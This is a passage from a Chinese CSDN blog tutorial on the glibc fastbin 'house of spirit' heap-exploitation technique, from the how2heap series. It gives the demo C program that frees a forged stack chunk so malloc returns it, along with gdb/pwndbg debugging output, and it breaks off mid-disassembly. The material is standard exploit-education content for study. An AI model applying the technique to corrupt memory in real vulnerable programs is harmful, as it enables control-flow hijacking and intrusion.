从零开始学howtoheap:fastbins的house_of_spirit攻击1

 how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的house_of_spirit攻击

house_of_spirit是一种fastbins攻击方法,通过构造fake chunk,然后将其free掉,就可以在下一次malloc时返回fake chunk的地址,即任意我们可控的区域。House_of_spirit是一种通过堆的fast bin机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制EIP来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被free的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个fast bin块的元数据,接着在free操作时,这个栈上的堆块被放到fast bin中,下一次malloc对应的大小时,由于fast bin的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个fake chunk。所以 fake chunk的伪造是关键。

2.house_of_spirit演示程序

#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "这个例子演示了 house of spirit 攻击\n");

    fprintf(stderr, "我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它\n");
    malloc(1);

    fprintf(stderr, "覆盖一个指向 fastbin 的指针\n");
    unsigned long long *a, *b;
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

    fprintf(stderr, "这块区域 (长度为: %lu) 包含两个 chunk. 第一个在 %p 第二个在 %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

    fprintf(stderr, "构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0\n");
    fake_chunks[1] = 0x40; // size

    fprintf(stderr, "next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)\n");
        // 这是fake_chunks[?]可以数一下
    fake_chunks[9] = 0x1234; // nextsize
    fake_chunks[2] = 0x4141414141414141LL;
    fake_chunks[10] = 0x4141414141414141LL;

    fprintf(stderr, "现在,我们拿伪造的那个 fake chunk 的地址进行 free, %p.\n", &fake_chunks[2]);
    a = &fake_chunks[2];

    fprintf(stderr, "free!\n");
    free(a);

    fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);
    b = malloc(0x30);
    fprintf(stderr, "malloc(0x30): %p\n", b);
    b[0] = 0x4242424242424242LL;
    fprintf(stderr, "ok!\n");
    return 0;
}

 

3.调试house_of_spirit

3.1 获得可执行程序 

gcc -g house_of_spirit.c -o house_of_spirit

 

3.2 第一次调试程序

调试环境搭建可参考环境从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

 

root@pwn_test1604:/ctf/work/how2heap# gdb ./house_of_spirit
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./house_of_spirit...done.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_spirit 
这个例子演示了 house of spirit 攻击
我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它
覆盖一个指向 fastbin 的指针
这块区域 (长度为: 80) 包含两个 chunk. 第一个在 0x7fffffffe568 第二个在 0x7fffffffe5a8.
构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0
next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)
现在,我们拿伪造的那个 fake chunk 的地址进行 free, 0x7fffffffe570.
free!
现在 malloc 的时候将会把 0x7fffffffe570 给返回回来
malloc(0x30): 0x7fffffffe570
ok!
[Inferior 1 (process 68) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 首先在程序的第 14 行下个断点

运行到这里可以看到 fake_chunk 目前还没有被我们写入。

pwndbg> b 14
Breakpoint 1 at 0x400721: file house_of_spirit.c, line 14.
pwndbg> c
The program is not being run.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_spirit 
这个例子演示了 house of spirit 攻击
我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它
覆盖一个指向 fastbin 的指针

Breakpoint 1, main () at house_of_spirit.c:15
15          fprintf(stderr, "这块区域 (长度为: %lu) 包含两个 chunk. 第一个在 %p 第二个在 %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x25
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x400900 (__libc_csu_init+80) ◂— add    dword ptr [rax + 0x39], ecx
 R8   0x25
 R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
 R10  0x1
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe550 ◂— 0x1
 RIP  0x400721 (main+123) ◂— mov    rax, qword ptr [rip + 0x200938]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400721 <main+123>    mov    rax, qword ptr [rip + 0x200938] <0x601060>
   0x400728 <main+130>    
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值